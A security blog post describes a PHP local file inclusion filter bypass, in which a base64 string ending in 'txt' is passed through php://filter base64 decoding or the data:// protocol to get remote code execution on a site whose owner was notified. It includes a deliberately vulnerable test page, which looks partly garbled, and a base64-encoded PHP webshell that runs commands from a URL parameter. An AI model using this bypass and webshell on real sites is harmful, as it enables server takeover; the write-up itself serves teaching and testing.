One LFI bypass to rule them all (using base64)

4 minute read


On one of the [real world] PHP websites, I found an LFI [there was a URL parameter that checked if the value ends with ‘txt’. If so, it would just display it]. So, I reported to the site owner that I have a RCE using PHP filters (using php://filter/convert.quoted-printable-encode/resource=data:text/plain,phpcode, because HTTP was already blocked) to the owner, and he decided to just block PHP start (<?php) and end (?>) tags. So now, how can I bypass this block (no file upload on this server)?

The solution according to the book is to simply use PHP filter chain. But… I don’t really like this way of exploitation – it makes the exploit very long, and it’s completely unreadable. So let’s imagine the site URL has a length filter, or it blocks the pipe char. There must be another way to do this, right?

Basically, what PHP filter chain does is to collect characters for a Base64 string (using PHP filter group called convert.iconv) then base64 decode it. Maybe I could just supply the base64 and then decode it, without collecting the base64 string?

For that, I need a base64 string that’s ending with “.txt”. When I asked the Cyber king of misleading information, it gave me this:

chatgpt answer: "just append .txt to the base64 encoded string"

ChatGPT, when asked about creating a base64 that ends with ".txt"

At first glance, this seems completely unhelpful. You can’t just add “.txt” and hope it stays base64. But a little research revealed that PHP works differently.

Update: Create test site

Let’s create our vulnerable PHP test website: (credit for the template to WhiteboxPentest on GitHub).

truff from Projet7 did some research, and he found that my exploit works only with include or require and not with file_get_contents. Additionally, it requires the website to be configured with allow_url_include:On.

<body style="background-color:#82e2ff">
    <form method="GET">
        <label>Select Timezone</label>
        <select name="file">
            <option value="america.txt">America/New_York</option>
            <option value="asia.txt">Asia/Singapore</option>
        <input type="submit" value="Display time"/>

    if(isset($_GET['file'])) {
        $file = $_GET['file'];

        // Check if the file starts with "http"
        if (strpos($file, "http") === 0) {
            echo "Files starting with 'http' are not allowed.";
        } else {
            if (strpos($file, "<?php") !== false || strpos($file, "?>") !== false || strpos($file, "|") !== false) {
                echo "blocked";
                echo (strpos($file, "|") !== false) ? " (php tag)" : " (pipe character)";
            } else {
                if (substr($file, -3) === "txt") {
                } else {
                    echo "the file " . htmlentities($file) . " is not a txt file";

            echo "<br><br>the base64 decode was:<br>";
            echo htmlentities(base64_decode(explode(",", $file)[1]));
            echo "";

You need also to find php.ini, and change allow_url_include from Off to On. Now you are ready for research: You can start the server and start to explore PHP’s base64 decode filter

php -S

Now go to,SGVsbG8sIFdvcmxkLg. (that should just output “the file … is not a txt file”)

Now, you can pause reading this article and try to run code yourself.


PHP has a unique way of handling base64 using the convert.base64-decode filter. It just ignores non-base64 characters. That means that if I try to decode this base64 string:”bWF0YW4ta&&C5j#b20K….?PHP=

the PHP will just ignore all non-base64 characters, and decode it like it was: “bWF0YW4taC5jb20KPHP=” (decoded to be “<s”).

If I took a more useful example from hacktricks : let’s try “PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=” (which means “<?php system($_GET[‘cmd’]);echo ‘Shell done !’; ?>”) and let’s try to make this end with “.txt” and still get a valid base64 without the dot. Turns out this is very easy : all I needed to do was to remove the padding (the = sign at the end) and replace it with “.txt” (you could also use other extensions such as .php, etc. as long as they can be in base64). To make the base64 more human-readable, let’s add a plus before the extension. It does not do much in the way of PHP decode base64, but if we try to decode the extension with base64 in bash (without the “.”), it will be happy. So we get the first RCE payload:


Screenshot of the start of /etc/passwd of that site using PHP://base64-decode filter

I reported this to the owner, and he decided to just block php:// protocol (all cases).

But the LFI was also open to the data:// protocol. In normal cases, data:// is used for plain text like this: data://text/plain,<?php phpinfo();?>, but data:// can also be used to decode base64. Using data://text/plain;base64. But this time, data: does not ignore non-base64 characters. Are we sure we really need them?

Apparently, the server only implements the check if the file ends with “txt“(without dot). Not with “.txt” (with dot). That means, I could just take the previous payload, remove the “.” and throw this into the data protocol and get the second RCE payload (for some reason, I could decode this only using PHP. Python or bash [using GNU base64] required me to add an equal sign after the “txt” to complete the padding.):


Screenshot of the output of the command "id" of that site using the `data://` protocol

I didn’t find this trick on Google. So I posted it here. I hope that this post informed you

Disclaimer: This article is intended for educational and informational purposes only and should not be used for any illegal or malicious activities.